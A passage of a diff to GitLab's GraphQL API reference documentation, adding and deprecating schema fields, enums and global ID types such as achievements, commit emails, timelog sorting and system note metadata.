id="mergerequestreviewertimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="mergerequestreviewertimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -16190,6 +16452,7 @@ Contains statistics about a milestone. | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="namespaceachievements"></a>`achievements` **{warning-solid}** | [`AchievementConnection`](#achievementconnection) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Achievements for the namespace. Returns `null` if the `achievements` feature flag is disabled. | | <a id="namespaceactualrepositorysizelimit"></a>`actualRepositorySizeLimit` | [`Float`](#float) | Size limit for repositories in the namespace in bytes. | | <a id="namespaceadditionalpurchasedstoragesize"></a>`additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. | | <a id="namespacecontainslockedprojects"></a>`containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. | @@ -16306,6 +16569,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="namespacecicdsettingallowstalerunnerpruning"></a>`allowStaleRunnerPruning` | [`Boolean`](#boolean) | Indicates if stale runners directly belonging to this namespace should be periodically pruned. | | <a id="namespacecicdsettingnamespace"></a>`namespace` | [`Namespace`](#namespace) | Namespace the CI/CD settings belong to. | +### `NamespaceCommitEmail` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="namespacecommitemailcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp the namespace commit email was created. | +| <a id="namespacecommitemailemail"></a>`email` | [`Email!`](#email) | Email. | +| <a id="namespacecommitemailid"></a>`id` | [`ID!`](#id) | Internal ID of the namespace commit email. | +| <a id="namespacecommitemailnamespace"></a>`namespace` | [`Namespace!`](#namespace) | Namespace. | +| <a id="namespacecommitemailupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the namespace commit email was last updated. | + ### `NestedEnvironment` Describes where code is deployed for a project organized by folder. @@ -16349,6 +16624,8 @@ Represents the network policy. | <a id="notediscussion"></a>`discussion` | [`Discussion`](#discussion) | Discussion this note is a part of. | | <a id="noteid"></a>`id` | [`NoteID!`](#noteid) | ID of the note. | | <a id="noteinternal"></a>`internal` | [`Boolean`](#boolean) | Indicates if this note is internal. | +| <a id="notelasteditedat"></a>`lastEditedAt` | [`Time`](#time) | Timestamp when note was last edited. | +| <a id="notelasteditedby"></a>`lastEditedBy` | [`UserCore`](#usercore) | User who last edited the note. | | <a id="noteposition"></a>`position` | [`DiffPosition`](#diffposition) | Position of this note on a diff. | | <a id="noteproject"></a>`project` | [`Project`](#project) | Project associated with the note. | | <a id="noteresolvable"></a>`resolvable` | [`Boolean!`](#boolean) | Indicates if the object can be resolved. | @@ -16357,6 +16634,7 @@ Represents the network policy. | <a id="noteresolvedby"></a>`resolvedBy` | [`UserCore`](#usercore) | User who resolved the object. | | <a id="notesystem"></a>`system` | [`Boolean!`](#boolean) | Indicates whether this note was created by the system or by a user. | | <a id="notesystemnoteiconname"></a>`systemNoteIconName` | [`String`](#string) | Name of the icon corresponding to a system note. | +| <a id="notesystemnotemetadata"></a>`systemNoteMetadata` | [`SystemNoteMetadata`](#systemnotemetadata) | Metadata for the given note if it is a system note. | | <a id="noteupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of the note's last activity. | | <a id="noteurl"></a>`url` | [`String`](#string) | URL to view this Note in the Web UI. | | <a id="noteuserpermissions"></a>`userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource. | @@ -16820,6 +17098,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="pipelinejobsretried"></a>`retried` | [`Boolean`](#boolean) | Filter jobs by retry-status. | | <a id="pipelinejobssecurityreporttypes"></a>`securityReportTypes` | [`[SecurityReportTypeEnum!]`](#securityreporttypeenum) | Filter jobs by the type of security report they produce. | | <a id="pipelinejobsstatuses"></a>`statuses` | [`[CiJobStatus!]`](#cijobstatus) | Filter jobs by status. | +| <a id="pipelinejobswhenexecuted"></a>`whenExecuted` | [`[String!]`](#string) | Filter jobs by when they are executed. | ##### `Pipeline.securityReportFinding` @@ -17012,8 +17291,10 @@ Represents vulnerability finding of a security report on the pipeline. | <a id="pipelinesecurityreportfindingevidence"></a>`evidence` | [`VulnerabilityEvidence`](#vulnerabilityevidence) | Evidence for the vulnerability. | | <a id="pipelinesecurityreportfindingfalsepositive"></a>`falsePositive` | [`Boolean`](#boolean) | Indicates whether the vulnerability is a false positive. | | <a id="pipelinesecurityreportfindingidentifiers"></a>`identifiers` | [`[VulnerabilityIdentifier!]!`](#vulnerabilityidentifier) | Identifiers of the vulnerability finding. | +| <a id="pipelinesecurityreportfindingissuelinks"></a>`issueLinks` | [`VulnerabilityIssueLinkConnection`](#vulnerabilityissuelinkconnection) | List of issue links related to the vulnerability. (see [Connections](#connections)) | | <a id="pipelinesecurityreportfindinglinks"></a>`links` | [`[VulnerabilityLink!]`](#vulnerabilitylink) | List of links associated with the vulnerability. | | <a id="pipelinesecurityreportfindinglocation"></a>`location` | [`VulnerabilityLocation`](#vulnerabilitylocation) | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability. | +| <a id="pipelinesecurityreportfindingmergerequest"></a>`mergeRequest` | [`MergeRequest`](#mergerequest) | Merge request that fixes the vulnerability. | | <a id="pipelinesecurityreportfindingname"></a>`name` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. Use `title`. | | <a id="pipelinesecurityreportfindingproject"></a>`project` | [`Project`](#project) | Project on which the vulnerability finding was found. | | <a id="pipelinesecurityreportfindingprojectfingerprint"></a>`projectFingerprint` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. The `project_fingerprint` attribute is being deprecated. Use `uuid` to identify findings. | @@ -18107,8 +18388,8 @@ Returns [`Requirement`](#requirement). | Name | Type | Description | | ---- | ---- | ----------- | | <a id="projectrequirementauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filter requirements by author username. | -| <a id="projectrequirementiid"></a>`iid` | [`ID`](#id) | IID of the requirement, for example, "1". | -| <a id="projectrequirementiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, for example, `[1, 2]`. | +| <a id="projectrequirementiid"></a>`iid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. | +| <a id="projectrequirementiids"></a>`iids` **{warning-solid}** | [`[ID!]`](#id) | **Deprecated** in 15.8. Use work_item_iids instead. | | <a id="projectrequirementlasttestreportstate"></a>`lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | State of latest requirement test report. | | <a id="projectrequirementsearch"></a>`search` | [`String`](#string) | Search query for requirement title. | | <a id="projectrequirementsort"></a>`sort` | [`Sort`](#sort) | List requirements by sort order. | @@ -18131,8 +18412,8 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="projectrequirementsauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filter requirements by author username. | -| <a id="projectrequirementsiid"></a>`iid` | [`ID`](#id) | IID of the requirement, for example, "1". | -| <a id="projectrequirementsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, for example, `[1, 2]`. | +| <a id="projectrequirementsiid"></a>`iid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. | +| <a id="projectrequirementsiids"></a>`iids` **{warning-solid}** | [`[ID!]`](#id) | **Deprecated** in 15.8. Use work_item_iids instead. | | <a id="projectrequirementslasttestreportstate"></a>`lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | State of latest requirement test report. | | <a id="projectrequirementssearch"></a>`search` | [`String`](#string) | Search query for requirement title. | | <a id="projectrequirementssort"></a>`sort` | [`Sort`](#sort) | List requirements by sort order. | @@ -18297,6 +18578,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="projecttimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="projecttimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="projecttimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="projecttimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="projecttimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="projecttimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="projecttimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -18873,12 +19155,12 @@ Returns [`Tree`](#tree). | <a id="repositoryblobprojectblobpathroot"></a>`projectBlobPathRoot` | [`String`](#string) | Web path for the root of the blob. | | <a id="repositoryblobrawblob"></a>`rawBlob` | [`String`](#string) | Raw content of the blob. | | <a id="repositoryblobrawpath"></a>`rawPath` | [`String`](#string) | Web path to download the raw blob. | -| <a id="repositoryblobrawsize"></a>`rawSize` | [`Int`](#int) | Size (in bytes) of the blob, or the blob target if stored externally. | +| <a id="repositoryblobrawsize"></a>`rawSize` | [`BigInt`](#bigint) | Size (in bytes) of the blob, or the blob target if stored externally. | | <a id="repositoryblobrawtextblob"></a>`rawTextBlob` | [`String`](#string) | Raw content of the blob, if the blob is text data. | | <a id="repositoryblobreplacepath"></a>`replacePath` | [`String`](#string) | Web path to replace the blob content. | | <a id="repositoryblobrichviewer"></a>`richViewer` | [`BlobViewer`](#blobviewer) | Blob content rich viewer. | | <a id="repositoryblobsimpleviewer"></a>`simpleViewer` | [`BlobViewer!`](#blobviewer) | Blob content simple viewer. | -| <a id="repositoryblobsize"></a>`size` | [`Int`](#int) | Size (in bytes) of the blob. | +| <a id="repositoryblobsize"></a>`size` | [`BigInt`](#bigint) | Size (in bytes) of the blob. | | <a id="repositoryblobstoredexternally"></a>`storedExternally` | [`Boolean`](#boolean) | Whether the blob's content is stored externally (for instance, in LFS). | | <a id="repositoryblobwebpath"></a>`webPath` | [`String`](#string) | Web path of the blob. | @@ -18905,7 +19187,7 @@ Represents a requirement. | <a id="requirementdescription"></a>`description` | [`String`](#string) | Description of the requirement. | | <a id="requirementdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="requirementid"></a>`id` | [`ID!`](#id) | ID of the requirement. | -| <a id="requirementiid"></a>`iid` | [`ID!`](#id) | Internal ID of the requirement. | +| <a id="requirementiid"></a>`iid` **{warning-solid}** | [`ID!`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. | | <a id="requirementlasttestreportmanuallycreated"></a>`lastTestReportManuallyCreated` | [`Boolean`](#boolean) | Indicates if latest test report was created by user. | | <a id="requirementlasttestreportstate"></a>`lastTestReportState` | [`TestReportState`](#testreportstate) | Latest requirement test report state. | | <a id="requirementproject"></a>`project` | [`Project!`](#project) | Project to which the requirement belongs. | @@ -19376,6 +19658,7 @@ Represents a snippet entry. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="snippetauthor"></a>`author` | [`UserCore`](#usercore) | Owner of the snippet. | +| <a id="snippetcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="snippetcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp this snippet was created. | | <a id="snippetdescription"></a>`description` | [`String`](#string) | Description of the snippet. | | <a id="snippetdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | @@ -19548,9 +19831,18 @@ Represents a Suggested Reviewers result set. | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="suggestedreviewerstypereviewers"></a>`reviewers` | [`[String!]!`](#string) | List of reviewers. | -| <a id="suggestedreviewerstypetopn"></a>`topN` | [`Int`](#int) | Number of reviewers returned. | -| <a id="suggestedreviewerstypeversion"></a>`version` | [`String`](#string) | Suggested reviewer version. | +| <a id="suggestedreviewerstypeaccepted"></a>`accepted` | [`[String!]`](#string) | List of accepted reviewer usernames. | +| <a id="suggestedreviewerstypesuggested"></a>`suggested` | [`[String!]!`](#string) | List of suggested reviewer usernames. | + +### `SystemNoteMetadata` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="systemnotemetadataaction"></a>`action` | [`String`](#string) | System note metadata action. | +| <a id="systemnotemetadatadescriptionversion"></a>`descriptionVersion` | [`DescriptionVersion`](#descriptionversion) | Version of the changed description. | +| <a id="systemnotemetadataid"></a>`id` | [`SystemNoteMetadataID!`](#systemnotemetadataid) | Global ID of the specific system note metadata. | ### `TaskCompletionStatus` @@ -19641,6 +19933,7 @@ Represents a requirement test report. | <a id="testreportcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the test report was created. | | <a id="testreportid"></a>`id` | [`ID!`](#id) | ID of the test report. | | <a id="testreportstate"></a>`state` | [`TestReportState!`](#testreportstate) | State of the test report. | +| <a id="testreportuseslegacyiid"></a>`usesLegacyIid` | [`Boolean`](#boolean) | Indicates whether the test report was generated with references to legacy requirement IIDs. | ### `TestReportSummary` @@ -19948,7 +20241,9 @@ Core represention of a GitLab user. | <a id="usercoreavatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. | | <a id="usercorebot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | <a id="usercorecallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| <a id="usercorecommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. | | <a id="usercoreemail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| <a id="usercoreemails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | <a id="usercoregitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | <a id="usercoregroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. | | <a id="usercoregroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -19956,6 +20251,7 @@ Core represention of a GitLab user. | <a id="usercorelocation"></a>`location` | [`String`](#string) | Location of the user. | | <a id="usercorename"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | <a id="usercorenamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| <a id="usercorenamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | <a id="usercorepreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | <a id="usercoreprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | <a id="usercoreprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -20141,6 +20437,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="usercoretimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="usercoretimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="usercoretimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="usercoretimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="usercoretimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="usercoretimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="usercoretimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -20236,6 +20533,7 @@ Represents a vulnerability. | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="vulnerabilitycommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="vulnerabilityconfirmedat"></a>`confirmedAt` | [`Time`](#time) | Timestamp of when the vulnerability state was changed to confirmed. | | <a id="vulnerabilityconfirmedby"></a>`confirmedBy` | [`UserCore`](#usercore) | User that confirmed the vulnerability. | | <a id="vulnerabilitydescription"></a>`description` | [`String`](#string) | Description of the vulnerability. | @@ -20265,6 +20563,7 @@ Represents a vulnerability. | <a id="vulnerabilityseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL). | | <a id="vulnerabilitystate"></a>`state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED). | | <a id="vulnerabilitytitle"></a>`title` | [`String`](#string) | Title of the vulnerability. | +| <a id="vulnerabilityupdatedat"></a>`updatedAt` | [`Time`](#time) | Timestamp of when the vulnerability was last updated. | | <a id="vulnerabilityusernotescount"></a>`userNotesCount` | [`Int!`](#int) | Number of user notes attached to the vulnerability. | | <a id="vulnerabilityuserpermissions"></a>`userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource. | | <a id="vulnerabilityvulnerabilitypath"></a>`vulnerabilityPath` | [`String`](#string) | Path to the vulnerability's details page. | @@ -20971,6 +21270,17 @@ Represents a progress widget. | <a id="workitemwidgetprogressprogress"></a>`progress` | [`Int`](#int) | Progress of the work item. | | <a id="workitemwidgetprogresstype"></a>`type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. | +### `WorkItemWidgetRequirementLegacy` + +Represents a legacy requirement widget. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="workitemwidgetrequirementlegacylegacyiid"></a>`legacyIid` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 15.9. Use Work Item IID instead. | +| <a id="workitemwidgetrequirementlegacytype"></a>`type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. | + ### `WorkItemWidgetStartAndDueDate` Represents a start and due date widget. @@ -21067,6 +21377,7 @@ Access level to a resource. | Value | Description | | ----- | ----------- | +| <a id="accesslevelenumadmin"></a>`ADMIN` | Admin access. | | <a id="accesslevelenumdeveloper"></a>`DEVELOPER` | Developer access. | | <a id="accesslevelenumguest"></a>`GUEST` | Guest access. | | <a id="accesslevelenummaintainer"></a>`MAINTAINER` | Maintainer access. | @@ -21552,6 +21863,17 @@ Values for sorting tags. | <a id="customerrelationsorganizationstateall"></a>`all` | All available organizations. | | <a id="customerrelationsorganizationstateinactive"></a>`inactive` | Inactive organizations. | +### `DastPreScanVerificationStatus` + +Status of DAST pre scan verification. + +| Value | Description | +| ----- | ----------- | +| <a id="dastprescanverificationstatuscomplete"></a>`COMPLETE` | Pre Scan Verification complete without errors. | +| <a id="dastprescanverificationstatuscomplete_with_errors"></a>`COMPLETE_WITH_ERRORS` | Pre Scan Verification finished with one or more errors. | +| <a id="dastprescanverificationstatusfailed"></a>`FAILED` | Pre Scan Validation unable to finish. | +| <a id="dastprescanverificationstatusrunning"></a>`RUNNING` | Pre Scan Verification in execution. | + ### `DastProfileCadenceUnit` Unit for the duration of Dast Profile Cadence. @@ -22153,6 +22475,19 @@ Possible identifier types for a measurement. | <a id="measurementidentifierprojects"></a>`PROJECTS` | Project count. | | <a id="measurementidentifierusers"></a>`USERS` | User count. | +### `MemberAccessLevel` + +Access level of a group or project member. + +| Value | Description | +| ----- | ----------- | +| <a id="memberaccessleveldeveloper"></a>`DEVELOPER` | Developer access. | +| <a id="memberaccesslevelguest"></a>`GUEST` | Guest access. | +| <a id="memberaccesslevelmaintainer"></a>`MAINTAINER` | Maintainer access. | +| <a id="memberaccesslevelminimal_access"></a>`MINIMAL_ACCESS` | Minimal access. | +| <a id="memberaccesslevelowner"></a>`OWNER` | Owner access. | +| <a id="memberaccesslevelreporter"></a>`REPORTER` | Reporter access. | + ### `MemberSort` Values for sorting members. @@ -22679,6 +23014,7 @@ State of a Sentry error. | Value | Description | | ----- | ----------- | +| <a id="servicetypeapple_app_store_service"></a>`APPLE_APP_STORE_SERVICE` | AppleAppStoreService type. | | <a id="servicetypeasana_service"></a>`ASANA_SERVICE` | AsanaService type. | | <a id="servicetypeassembla_service"></a>`ASSEMBLA_SERVICE` | AssemblaService type. | | <a id="servicetypebamboo_service"></a>`BAMBOO_SERVICE` | BambooService type. | @@ -22732,8 +23068,9 @@ How to format SHA strings. | Value | Description | | ----- | ----------- | +| <a id="sharedrunnerssettingdisabled_and_overridable"></a>`DISABLED_AND_OVERRIDABLE` | Sharing of runners is disabled and overridable. | | <a id="sharedrunnerssettingdisabled_and_unoverridable"></a>`DISABLED_AND_UNOVERRIDABLE` | Sharing of runners is disabled and unoverridable. | -| <a id="sharedrunnerssettingdisabled_with_override"></a>`DISABLED_WITH_OVERRIDE` | Sharing of runners is disabled with override. | +| <a id="sharedrunnerssettingdisabled_with_override"></a>`DISABLED_WITH_OVERRIDE` **{warning-solid}** | **Deprecated** in 17.0. This was renamed. Use: `disabled_and_overridable`. | | <a id="sharedrunnerssettingenabled"></a>`ENABLED` | Sharing of runners is enabled. | ### `SnippetBlobActionEnum` @@ -22813,6 +23150,25 @@ Category of error. | <a id="timeboxreporterrorreasonupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | | <a id="timeboxreporterrorreasonupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | +### `TimelogSort` + +Values for sorting timelogs. + +| Value | Description | +| ----- | ----------- | +| <a id="timelogsortcreated_asc"></a>`CREATED_ASC` | Created at ascending order. | +| <a id="timelogsortcreated_desc"></a>`CREATED_DESC` | Created at descending order. | +| <a id="timelogsortspent_at_asc"></a>`SPENT_AT_ASC` | Spent at by ascending order. | +| <a id="timelogsortspent_at_desc"></a>`SPENT_AT_DESC` | Spent at by descending order. | +| <a id="timelogsorttime_spent_asc"></a>`TIME_SPENT_ASC` | Time spent by ascending order. | +| <a id="timelogsorttime_spent_desc"></a>`TIME_SPENT_DESC` | Time spent by descending order. | +| <a id="timelogsortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. | +| <a id="timelogsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. | +| <a id="timelogsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| <a id="timelogsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| <a id="timelogsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| <a id="timelogsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | + ### `TodoActionEnum` | Value | Description | @@ -22822,7 +23178,7 @@ Category of error. | <a id="todoactionenumbuild_failed"></a>`build_failed` | Build triggered by the user failed. | | <a id="todoactionenumdirectly_addressed"></a>`directly_addressed` | User was directly addressed. | | <a id="todoactionenummarked"></a>`marked` | User added a to-do item. | -| <a id="todoactionenummember_access_requested"></a>`member_access_requested` | Group access requested from the user. | +| <a id="todoactionenummember_access_requested"></a>`member_access_requested` | Group or project access requested from the user. | | <a id="todoactionenummentioned"></a>`mentioned` | User was mentioned. | | <a id="todoactionenummerge_train_removed"></a>`merge_train_removed` | Merge request authored by the user was removed from the merge train. | | <a id="todoactionenumreview_requested"></a>`review_requested` | Review was requested from the user. | @@ -23148,6 +23504,7 @@ Type of a work item widget. | <a id="workitemwidgettypemilestone"></a>`MILESTONE` | Milestone widget. | | <a id="workitemwidgettypenotes"></a>`NOTES` | Notes widget. | | <a id="workitemwidgettypeprogress"></a>`PROGRESS` | Progress widget. | +| <a id="workitemwidgettyperequirement_legacy"></a>`REQUIREMENT_LEGACY` | Requirement Legacy widget. | | <a id="workitemwidgettypestart_and_due_date"></a>`START_AND_DUE_DATE` | Start And Due Date widget. | | <a id="workitemwidgettypestatus"></a>`STATUS` | Status widget. | | <a id="workitemwidgettypeweight"></a>`WEIGHT` | Weight widget. | @@ -23163,6 +23520,12 @@ each kind of object. For more information, read about [Scalar Types](https://graphql.org/learn/schema/#scalar-types) on `graphql.org`. +### `AchievementsAchievementID` + +A `AchievementsAchievementID` is a global ID. It is encoded as a string. + +An example `AchievementsAchievementID` is: `"gid://gitlab/Achievements::Achievement/1"`. + ### `AlertManagementAlertID` A `AlertManagementAlertID` is a global ID. It is encoded as a string. @@ -23361,6 +23724,12 @@ A `DependencyProxyManifestID` is a global ID. It is encoded as a string. An example `DependencyProxyManifestID` is: `"gid://gitlab/DependencyProxy::Manifest/1"`. +### `DescriptionVersionID` + +A `DescriptionVersionID` is a global ID. It is encoded as a string. + +An example `DescriptionVersionID` is: `"gid://gitlab/DescriptionVersion/1"`. + ### `DesignManagementDesignAtVersionID` A `DesignManagementDesignAtVersionID` is a global ID. It is encoded as a string. @@ -23698,6 +24067,12 @@ An example `SnippetID` is: `"gid://gitlab/Snippet/1"`. Represents textual data as UTF-8 character sequences. This type is most often used by GraphQL to represent free-form human-readable text. +### `SystemNoteMetadataID` + +A `SystemNoteMetadataID` is a global ID. It is encoded as a string. + +An example `SystemNoteMetadataID` is: `"gid://gitlab/SystemNoteMetadata/1"`. + ### `TerraformStateID` A `TerraformStateID` is a global ID. It is encoded as a string. @@ -24095,6 +24470,7 @@ Implementations: | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="noteableinterfacecommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="noteableinterfacediscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | <a id="noteableinterfacenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) | @@ -24222,7 +24598,9 @@ Implementations: | <a id="useravatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. | | <a id="userbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | <a id="usercallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| <a id="usercommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. | | <a id="useremail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| <a id="useremails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | <a id="usergitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | <a id="usergroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. | | <a id="usergroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -24230,6 +24608,7 @@ Implementations: | <a id="userlocation"></a>`location` | [`String`](#string) | Location of the user. | | <a id="username"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | <a id="usernamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| <a id="usernamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | <a id="userpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | <a id="userprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | <a id="userprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -24415,6 +24794,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="usertimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="usertimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="usertimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="usertimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="usertimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="usertimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="usertimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -24453,6 +24833,7 @@ Implementations: - [`WorkItemWidgetMilestone`](#workitemwidgetmilestone) - [`WorkItemWidgetNotes`](#workitemwidgetnotes) - [`WorkItemWidgetProgress`](#workitemwidgetprogress) +- [`WorkItemWidgetRequirementLegacy`](#workitemwidgetrequirementlegacy) - [`WorkItemWidgetStartAndDueDate`](#workitemwidgetstartandduedate) - [`WorkItemWidgetStatus`](#workitemwidgetstatus) - [`WorkItemWidgetWeight`](#workitemwidgetweight) @@ -24934,6 +25315,7 @@ A time-frame defined as a closed inclusive range of two dates. | ---- | ---- | ----------- | | <a 